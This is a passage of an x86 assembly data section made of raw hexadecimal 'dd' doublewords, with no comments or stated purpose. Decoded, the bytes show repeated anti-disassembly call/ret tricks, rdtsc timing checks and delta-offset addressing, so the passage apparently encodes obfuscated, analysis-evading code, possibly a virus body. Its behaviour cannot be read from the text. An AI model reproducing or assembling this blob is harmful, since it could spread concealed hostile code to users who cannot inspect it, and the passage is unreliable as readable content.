4C8959C3h, 44810424h, 1A0424h, 51410000h, 1957E6C3h dd 0A4E3E228h, 96D9D29h, 0BD8B064Eh, 64E0AC1h, 258964h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 9BEEC357h, 0E067F604h, 6959D89h dd 8B66064Eh, 0D585FFDFh, 89064E08h, 4E17A99Dh, 6AFF6A06h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 0FF3BC355h, 4E20F1B5h, 91B58906h, 0FF064E11h dd 4E1B0D95h, 115E906h, 0BF660000h, 0B09587h, 70E6B6B7h dd 10E9h, 3F033400h, 0A45910E7h, 0EB0C53C2h, 51E7B61Dh dd 6671E4B6h, 613CDE8Bh, 0E9830Fh, 5F560000h, 8BC8B60Fh dd 6BADFh, 0ABBB0000h, 8B160707h, 13E9C1h, 7B090000h, 39EA62Ch dd 0E63B4369h, 6C15ACAh, 0DA2582DFh, 4E8C121h, 9674BF66h dd 0E9E2F766h, 0Eh, 434C3257h, 0E60D79ACh, 627E68E4h, 8D89695Ah dd 64E2F8Dh, 0F88BC82Bh, 0B7D18Bh, 29C99589h, 2E9064Eh dd 8A000000h, 15858BD8h, 60064E09h, 0BE1BB9FCh, 83612D9Bh dd 0B58907C0h, 64E1B65h, 0F00C083h, 58Ch, 0E3816600h, 0D03B0BB7h dd 0B830Fh, 0BF0F0000h, 51E9D9h, 0BF0F0000h, 3D8D8BDFh dd 89064E05h, 4E18C18Dh, 1E18306h, 39840Fh, 0F560000h dd 835BDFBFh, 4E053DA5h, 9D8BFE06h, 64E3299h, 9159589h dd 11E9064Eh, 7C000000h, 3E25AEA6h, 66AEA9BDh, 0BF0C2751h dd 37CE5484h, 1095B501h, 0E9064Eh, 8D000000h, 520F54B5h dd 0E1BD0906h, 6A064E25h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 407C46A7h dd 8B51E216h, 4E0CF1BDh, 5995FF06h, 6A064E1Ah, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 0E714C351h, 3DC7166Fh, 0B9B054E6h, 861h, 0E18364B3h dd 1CBB66FCh, 6AFC82h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 0B9DA4DC3h, 8D89E10Bh, 64E26B9h dd 8870Fh, 8A0F0000h, 2, 0B85B57h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 0C655C353h, 97241D61h, 0D5C25EDCh, 8B66D22Bh, 0C233ADF8h dd 0D003E8D1h, 7504E983h, 0CE9F4h, 402D0000h, 0A3D78291h dd 33AD8EB2h, 8C0FF9D4h, 6, 1B49BD89h, 880D064Eh, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 7CAFC351h, 0C0EE229Bh, 8BFC7EDAh, 2D5D8589h dd 958B064Eh, 64E2B05h, 1405BD8Bh, 8D8B064Eh, 64E2B65h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 6EC35545h dd 21098D89h, 8B50064Eh, 3188BC2h, 8B188BC1h, 3E8D1C1h dd 58188BC2h, 0FB8B6656h, 52006A5Bh, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 0B02CB26h dd 83FABF0Fh, 4E30FDBDh, 840F0006h, 98h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 14h, 5EC35343h, 219D9D03h dd 0B8064Eh, 1000000h, 4E303D8Dh, 108D8D06h, 6A064E4Eh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 6125C357h, 11E92042h, 5D000000h, 5720EFCAh dd 2C4032A3h, 319F3A35h, 0DF109D4Ah, 1479BD8Bh, 0E1FF064Eh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 99C35545h dd 0DDEA9F4Dh, 9D2B9569h, 64E1861h, 65DBD83h, 0F00064Eh dd 3CC84h, 7AE8BF00h, 0BD837A1Dh, 64E065Dh, 0D5840F01h dd 0BF000003h, 74DA74DCh, 65DBD83h, 0F03064Eh, 38D86h dd 0FA8B6600h, 51006A60h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1C04h, 0C3514100h, 0C5BFD3A4h, 0D10A6573h dd 0B860FCDh, 0E9000000h, 6, 10D4BCF2h, 8C66360Ch, 1DBD8BD9h dd 80064E27h, 6A04E1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 0FFF68CC3h, 6E9h, 93DA7F00h, 8BFF05FDh dd 4E20F59Dh, 0FC90A06h, 13E84h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 1C96D4AAh dd 0E3A968D5h, 775B589h, 858B064Eh, 64E1B29h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 15h, 23C35040h, 9BF668Ch dd 8D8533A7h, 0F064E28h, 684h, 0D1BD8B00h, 50064E11h, 0AE9h dd 0C812C700h, 53E6F253h, 89575C50h, 0BD8B2404h, 64E0625h dd 6AF88Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 97C35343h, 5850F35h, 66000000h, 0BD9EEF81h, 4E8h dd 1F03FF00h, 52506000h, 310F6160h, 310F5250h, 585A585Ah dd 7E95061h, 71000000h, 5E4FBA7Fh, 448B8853h, 0AE90424h dd 0D8000000h, 3C666312h, 27110199h, 89008B4Ch, 50042444h dd 50525052h, 5A310F52h, 0F310F58h, 81h, 0F585A00h, 5AFE8A31h dd 0CB805858h, 0AE957A1h, 59000000h, 49FC8427h, 0F8D0C6C2h dd 95FF5B52h, 64E0BD9h, 0BE9h, 7D45B300h, 0AE5FA085h, 0F70ADBFCh dd 0B12F8589h, 0BF0F0651h, 88E9F5DFh, 66000001h, 8BB1D9BBh dd 51B12785h, 1800C706h, 89000000h, 4E25F19Dh, 2BB58B06h dd 0F0651B1h, 1586h, 9E800h, 82200000h, 9CF96A10h, 8B533AB1h dd 4E0F919Dh, 0B5095B06h, 64E3049h, 300D858Bh, 0E381064Eh dd 1BACB9B3h, 2635BD89h, 689064Eh, 0AB55BB66h, 1B29858Bh dd 6A064Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 7A5DACC3h, 93718E4Eh, 10E942h, 0B1A10000h dd 3C903B05h, 0B5AB483h, 9B208348h, 46892846h, 53006A04h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 4C015A8Ah, 0BB50DC78h, 6FC72A4Ch, 9243489h, 4E11CDBDh dd 27B5FF06h, 2B0651B1h, 4E2929BDh, 0C4986806h, 6DBFC9B7h dd 813262DBh, 3F672404h, 9D333667h, 64E28D1h, 0B12F858Dh dd 6A0651h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 0BDC32CC3h, 22058D89h, 0E890064Eh, 0Dh, 26C59896h dd 0A4A3B117h, 0F2F669FCh, 0A4FABB6Bh, 505B0839h, 3B331BBFh dd 6A9010h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 66F9C4C3h, 79BA397Ah, 8BAE8A93h, 4E0D61BDh dd 0D995FF06h, 6A064E0Bh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 6B1DC353h, 25D9D1FEh dd 6108A46Fh, 0B858589h, 85C7064Eh, 64E065Dh, 3, 0B12FBD83h dd 0F000651h, 3184h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1804h, 0C3574700h, 0CB0D7C69h, 27E9A3h, 860F0000h dd 6, 11259501h, 3050064Eh, 4400110Ch, 0E8C10111h, 11443010h dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h dd 7504E983h, 8B00EBE7h, 66FE8BC0h, 83C1CBBBh, 4E065DBDh dd 850F0306h, 3A4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 0D5C35747h, 3C863ECCh, 652915B9h, 2FBD83F8h dd 651B1h, 372840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 4A9339C3h, 68F0F37h dd 8B000000h, 4E24CD9Dh, 2FB5FF06h, 0F0651B1h, 0C8Bh, 68C0F00h dd 0F000000h, 86h, 7595FF00h, 6A064E03h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0E971C352h dd 0Ch, 34D4C028h, 98405E2Ah, 92A0E23Fh, 0B123B58Bh, 9D890651h dd 64E05DDh, 106C7h, 6A0001h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 40D147C3h, 0AE3FF4D5h dd 6CBF7C9Ch, 96704290h, 96502BB3h, 9E9h, 33F7CE00h, 6DBFEBA6h dd 9D8B8641h, 64E097Dh, 0B12FB5FFh, 95090651h, 64E10E9h dd 290195FFh, 0BB66064Eh, 820FE907h, 5, 6ACF8166h, 23B58B61h dd 6A0651B1h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 9E7DC355h, 0D38166A8h, 9E8CC7Eh dd 0A3000000h, 0A23BBF49h, 5F91671Dh, 20C5BD8Bh, 8B5B064Eh dd 4E0F3585h, 71958906h, 89064E12h, 0C486h, 5958B00h, 33064E2Bh dd 4E15ADBDh, 4C28306h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 0B8C35646h, 142CB156h, 9025C0DFh, 20508966h dd 1455B509h, 858D064Eh, 651C53Dh, 8689D98Bh, 0B8h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0B9C35242h, 0ECBF2915h dd 6A5FE6CEh, 0FE8B6600h, 0BE9h, 3FBA4F00h, 0CB7D5B54h dd 0BFED3A33h, 0B12FB5FFh, 81660651h, 0FF49E0F7h, 4E1A0595h dd 0D9B70F06h, 1B759D8Bh, 0BF96064Eh, 1D0BA1DFh, 9E950h dd 5B080000h, 54AF8D81h, 967F720Bh, 8BBFADBBh, 68C0F0Bh dd 8B000000h, 4E1F29BDh, 2FB5FF06h, 6A0651B1h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 22CC351h, 0A78F6AD6h, 9D8BB7DBh, 64E07CDh, 5A195FFh dd 6A064Eh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 0F7F06C3h, 686h, 0BD38100h, 314FEF6Ah, 4E0F85BDh dd 9BD8306h, 64E15h, 43840Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0DE89EC3h dd 4B000000h, 0B52189Fh, 90291C0h, 907665A7h, 6830Fh, 85310000h dd 64E0F05h, 3489505Bh, 9DBB6624h, 2FB5FFE1h, 0F0651B1h dd 84h, 0D995FF00h, 89064E25h, 4E0349BDh, 2FB5FF06h, 6A0651B1h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 2D77C355h, 0BB6694F0h, 0EB812002h, 35D0F6C3h dd 250D95FFh, 0E381064Eh, 73C756E8h, 1531BD83h, 0F02064Eh dd 4884h, 0F566000h, 8Ah, 0EF8A5800h, 25858B61h, 8B064E29h dd 4E03F99Dh, 0DB816606h, 0C6D5C1h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 0F3C6F7EBh dd 8B6A9772h, 4E0A019Dh, 1D85C706h, 64E12h, 0E9000000h dd 8, 2D70FEA8h, 0D9858CC3h, 0FFF4ACE9h, 4DB589FFh, 8B064E22h dd 0EF8166C1h, 858D099Ch, 64E1061h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 0D9C35646h, 791F8988h, 14E9h dd 91590700h, 9B7D2B59h, 0EAFFCACDh, 0D4E6BDBDh, 0AC4BC82h dd 0DE9901Ah, 0B1000000h, 0D2B097Eh, 29596F10h, 0B3192051h dd 9052B350h, 9059589h, 6A064Eh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 37C35646h, 6A006A0Ah, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 83A2C353h, 6E89302h, 2C000000h, 0FBC3C234h, 259D8B3Ch dd 5B064E04h, 0ACBC858Dh, 6A0652h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 5B597C3h, 8B8B4967h dd 4E11A99Dh, 5C08306h, 68B0F50h, 81000000h, 0FB87C1CBh dd 0BF905F46h, 3894E274h, 60525050h, 880Fh, 0F610000h dd 0AE931h, 2AAE0000h, 72A08210h, 0BB5D9F36h, 8990585Ah dd 4E06EDBDh, 6A006A06h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 0E27BC355h, 4AE93644h dd 291DC4A5h, 2975B589h, 8B52064Eh, 4E154DBDh, 6A5B06h dd 251DBD29h, 95FF064Eh, 64E0885h, 10E9h, 0F99F7200h, 894B727Fh dd 0ABF5ED68h, 0C2B3C5FFh, 8DF98B98h, 51AF498Dh, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 0A235A43Ah, 459D8907h, 0FF064E26h, 0BE9D1h, 0AC730000h dd 476763C9h, 0B808BB86h, 49BD83C3h, 1064E26h, 7C850Fh dd 14E90000h, 0AC000000h, 0ACD438D5h, 0FEC317B8h, 0BD3148F9h dd 9B2F7172h, 6AB1F457h, 61BD0102h, 89064E0Eh, 4E12F5BDh dd 8B609006h, 12E8DAh, 2DD0000h, 0B1DC605Dh, 0A5A42A7Ah dd 0BC640CBEh, 0DBF0BAC6h, 615ACB8Bh, 9E850h, 8E690000h dd 1E7A8D5Ah, 0BF4228F9h, 3DFC8A54h, 8589905Bh, 64E28D1h dd 1A0595FFh, 0F60064Eh, 68Eh, 418D8B00h, 89064E10h, 4E0A698Dh dd 0BCE96106h, 0E800000Dh, 0 dd 0C6ED815Dh, 6A0652ACh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 31A1C351h, 4E21E19Dh dd 6E906h, 0DD000000h, 4D3A13B7h, 92A9858Dh, 95890651h dd 64E0D75h, 50FA8B90h, 0F90FAB7h, 686h, 0DB58900h, 64064E09h dd 35FFh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 88FDFCC3h, 0AB50184Dh, 0EE8DB88h dd 6B000000h, 869CF85Ah, 0BB1EAC72h, 84172320h, 0DBD096Ch dd 5B064E08h, 258964h, 0BF000000h, 5E3AC22Eh, 8D585FFh dd 6A064Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h dd 53430000h, 99EECC3h, 9409110Bh, 0F6BF194h, 0B86h, 58A0F00h dd 66000000h, 0D5D381h, 6AFF6Ah, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 173718C3h, 4639BEC8h dd 0B5FF562Eh, 64E1185h, 9E9h, 56740700h, 0E37A7015h, 95FFD7BCh dd 64E1B0Dh, 136E9h, 0B99D8B00h, 0B0064E29h, 0E63CB300h dd 11E870h, 5CFE0000h, 0EBD10045h, 7A079A60h, 53DC3AA0h dd 89E32C66h, 4E13F1B5h, 0AE85F06h, 0DB000000h, 46F9E4BDh dd 5EBC9CEEh, 9D8B50A2h, 64E0F91h, 71E45F5Bh, 3CDF8B66h dd 0E8830F61h, 0F000000h, 8B66C8B6h, 6BADEh, 0BB660000h dd 0C18B461Ch, 2DA59D8Bh, 0B70F064Eh, 4E8C1DEh, 26F99589h dd 0F766064Eh, 14E953E2h, 38000000h, 82E380FEh, 0FDAAA401h dd 0F392CB96h, 0B314B01Eh, 5BA39163h, 0DE8BC82Bh, 0B160D18Bh dd 0BD9D8BF7h, 61064E17h, 5E9h, 3422BB00h, 858B3DA6h, 64E28C9h dd 0CCE78166h, 7C08331h, 0E900C083h, 12h, 166B355Fh, 0B97AE6ABh dd 41753A6Bh, 0EDB1197Eh, 0D03B5004h, 16830Fh, 81660000h dd 0E92880DBh, 53h, 0C759D8Bh, 9501064Eh, 64E1395h, 2AF18D8Bh dd 8529064Eh, 64E0455h, 0F01E183h, 3284h, 10E900h, 323D0000h dd 6455036Ah, 1BBF6927h, 0F6FACCD1h, 0A583464Dh, 64E2AF1h dd 0FEBF0FFEh, 28C99589h, 0BB064Eh, 0F15E838h, 0E9DBB7h dd 8D000000h, 521967B5h, 0E9958906h, 6A064E14h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 4BD37024h, 0D3816668h, 9D8B6F46h, 64E17B1h, 1A5995FFh dd 6A064Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 0C3B56DC3h, 0FDBD2954h, 0B9064E25h, 809h dd 0FCE183F5h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 47C35646h, 3258CEAFh, 0F919B677h, 27359589h, 0BD89064Eh dd 64E1245h, 199589FCh, 0B8064E03h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0CEC35747h dd 9D89CFAFh, 64E1B65h, 6AD22Bh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 0E7669CC3h, 0BF6609C1h dd 33AD3DBBh, 3E8D1C2h, 4E983D0h, 6AF475h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 7E8AC3C3h dd 49B5892Ch, 6A064E2Fh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 0E61FC357h, 1DEB8126h dd 17CBDA5h, 4E2059B5h, 880D06h, 0BF660000h, 958BAF25h dd 64E2B05h, 8589FC60h, 64E2B39h, 658D8B61h, 6A064E2Bh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 47BC352h, 0E026F4D6h, 8B50CCDEh, 3188BC2h dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 0BFD88B66h, 56EEEA3Ah dd 30FDBD83h, 0F00064Eh, 6684h, 0DF8B6600h, 0B8h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 29A5C16Bh, 4E1A559Dh, 108D8D06h, 6A064E4Eh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 4138C351h, 0F6804BABh, 0E9E1FF4Bh, 0Bh, 1405D029h, 94042176h dd 831404A1h, 4E065DBDh, 840F0006h, 4C3h, 6860Fh, 0BD8B0000h dd 64E02D1h, 2D959D09h, 0BD83064Eh, 64E065Dh, 0BF840F01h dd 66000004h, 0BD83F98Bh, 64E065Dh, 79860F03h, 6A000004h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 0C8D5C355h, 896060CCh, 4E26C185h, 298D0B06h dd 61064E27h, 0FD98C66h, 185h, 0E180F500h, 57006A04h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 88CEDF62h, 9E8h, 0E8577F00h, 5A2BF0EAh, 85895338h, 64E3019h dd 12E85Bh, 70220000h, 5150BE21h, 26E8C3E9h, 0BC0451Ch dd 0B74385DEh, 0FC90A5Fh, 17284h, 810F00h, 8B000000h, 4E1B2985h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 0D7F5A187h, 6B3D6A6Ch, 853365DEh, 64E288Dh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 44C35141h dd 0A24008F3h, 51525024h, 4895B5Bh, 52006A24h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 0F569FD4Fh dd 6A4B0Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Dh, 35C35545h, 0F96DA781h, 22344C1Dh, 0CE9C1h, 0BDB70000h dd 0FAE3B8A8h, 1DD30243h, 0AF68BB6Eh, 8134D2DBh, 0D8502434h dd 6A34CDh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 0E8AB88C3h, 14h, 71557E65h, 3EF15188h, 82CC99D1h dd 66BE3F04h, 0F022BD61h, 2BFD9589h, 0FF5B064Eh, 4E0BD995h dd 7E906h, 0B9AE0000h, 8CF70187h, 2F858939h, 6A0651B1h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 795FC350h, 0EBF02A8Eh, 0D8B31B91h, 47BBEB81h dd 8D896717h, 64E0BA5h, 1DFE9h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 91EF81EFh dd 8B33B324h, 51B12785h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 27214A1h, 0D577E76Ch dd 0BD8B50D1h, 64E1A19h, 1800C75Fh, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 0A7A7C352h, 6BC24C23h, 0FE9h, 0F0CE7700h, 2DDC1C0Fh dd 5AEBE3B7h, 0E989AA78h, 0B12BB58Bh, 810F0651h, 2, 858B5F56h dd 64E300Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 3C35747h, 689268Fh, 3149BD8Bh, 858B064Eh, 64E1B29h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0BDC35343h dd 0B257DA5h, 840F094Dh, 5, 3CEF4BFh, 446893Ah, 2A7DBD8Bh dd 5096064Eh, 44D0BB66h, 0FABF0F96h, 0B127B5FFh, 8D890651h dd 64E05C1h, 0D179B668h, 0BB5250EFh, 67F29B4Bh, 0ACBF310Fh dd 5A5ED6C8h, 24048158h, 104D8A49h, 191D9D31h, 858D064Eh dd 651B12Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 4EC35747h, 0BD89DEFEh, 64E2B7Dh, 50506090h, 5A310F52h dd 50615E58h, 8B665250h, 52310FFBh, 5BFE8B66h, 6A90585Ah dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 8AAC353h, 5CD4E811h, 959D8952h, 5B064E1Bh dd 11019D8Bh, 95FF064Eh, 64E0BD9h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 70C35242h, 96ABA673h, 0BD312E39h dd 64E1F45h, 50006A61h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1604h, 0C3504000h, 81EB5738h, 8D5C77E7h, 5D85C719h dd 3064E06h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 2685C356h, 0D1015957h dd 0B3A39FAh, 0B12FBD83h, 0F000651h, 5B84h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 0AE9F2h, 0E8180000h, 0EE720825h, 4874610h, 46E9h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 0AE95Bh, 0E6E70000h, 355A26FEh, 51458F78h, 110C3050h dd 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 0E9C08B00h, 0Ch dd 3E5B3F87h, 89B2B49Bh, 3419DBC1h, 25759D8Bh, 0BD8B064Eh dd 64E17B1h, 65DBD83h, 0F03064Eh, 40085h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 36D1450Fh, 0B70FC93Ch, 2FBD83FAh, 651B1h, 3CF840Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 8D89C5C3h, 64E2685h, 8BDF8B66h, 4E0609BDh dd 2FB5FF06h, 890651B1h, 4E0905BDh, 7595FF06h, 81064E03h dd 6B9D4EC7h, 23B58B35h, 0C70651B1h, 1000106h, 0CE900h dd 93B10000h, 0B675D182h, 94A7020Fh, 8166D83Ah, 9638A3F7h dd 0D88B6650h, 0AE996h, 0A34D0000h, 2C2BE260h, 49245FF6h dd 0B12FB5FFh, 6A0651h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 98460BC3h, 1893C5BFh, 195FF1Ch dd 89064E29h, 4E330D95h, 23B58B06h, 6A0651B1h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h dd 5948C350h, 16A136ECh, 0F35858Bh, 0E951064Eh, 0Fh, 0FBE3C72Ch dd 0F9C3081Ch, 0BB2A5B1Bh, 5B7482DCh, 0C48689h, 958B0000h dd 64E2B05h, 28F0Fh, 5F500000h, 6A04C283h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 8811C350h dd 894637F1h dd 4E225195h, 20508906h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 18h, 0E1C35141h, 0F02C2DBBh, 0A711BF56h, 815B5926h dd 3595C9DBh, 3D858D1Ch, 8B0651C5h, 4E16099Dh, 99BD8B06h dd 89064E07h, 0B886h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 41BD8B16h, 6A064E2Bh dd 0A1B58900h, 0FF064E29h, 51B12FB5h, 51006A06h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 8B6623FFh, 595FFDEh, 0E9064E1Ah, 10h, 0A9E54939h, 68F598E6h dd 0F51A17C9h, 0C0BFE8F2h, 60515750h, 895B5B61h, 6A2434h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 234BFCC3h, 0F7DF8166h, 2FB5FF6Fh, 6A0651B1h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 2647C351h, 8166B281h, 0FFEA26EBh, 4E05A195h, 0B1BD8B06h dd 8B064E0Ah, 4E07A9BDh, 9BD8306h, 64E15h, 34840Fh, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 50F3E5C3h, 656BBB66h, 23243489h, 4E20799Dh, 38A0F06h dd 66000000h, 0B5FFFB8Bh, 651B12Fh, 21B19D09h, 95FF064Eh dd 64E25D9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 83C35141h, 63DFAD62h, 2D1BD8Bh, 0B5FF064Eh, 651B12Fh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0F2C35242h dd 95FF53B3h, 64E250Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 17h, 92C35545h, 83D80ED5h, 4E1531BDh, 840F0206h dd 7Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h dd 5EC35242h, 2830Fh, 0DC8A0000h, 58A0Fh, 0F6BB0000h, 8B52749Eh dd 4E292585h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1804h, 0C3534300h, 4713B226h, 8CD780E2h, 6A0000C6h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h dd 45000000h, 8C6C355h, 6B1D7E5Dh, 0C7D9D1FEh, 4E121D85h dd 6, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 0E07FF73Ah, 0B5111FF1h, 8BF9ED5Fh dd 4E0D819Dh, 0F332E906h, 0EB7FFFFh, 8166C18Bh, 8DA963EFh dd 4E106185h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 100337A4h, 6FD1BC45h, 0F8BF0F50h dd 65852951h, 5F064E1Bh, 24048950h, 2975BD8Bh, 6A064Eh dd 0EE9h, 14668B00h, 364F82D9h, 75317092h, 6A17CD16h, 0C5B53100h dd 8D064E20h, 52BCB585h, 0D5B58906h, 83064E05h, 6A05C0h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 983311C3h, 0E7EE73B8h, 567763D9h, 0F5FDA8Ah, 6690DFBFh dd 507FA5BBh, 1945BFh, 6A904Bh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 0BFF2E2C3h, 0EC56FDEAh dd 69CF81A5h, 6A6C3C9Bh, 47D78100h, 6A0DE123h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 0F998C63Ah, 88595FFh, 6A064Eh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 1ED8C1C3h, 0EDFB724Fh dd 39BFB7B6h, 8D622223h, 51AF498Dh, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 39ED646Bh dd 0FFF98B66h, 53006AD1h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 39D258EEh, 23D380A2h dd 49BD83F8h, 1064E26h, 0B9850Fh, 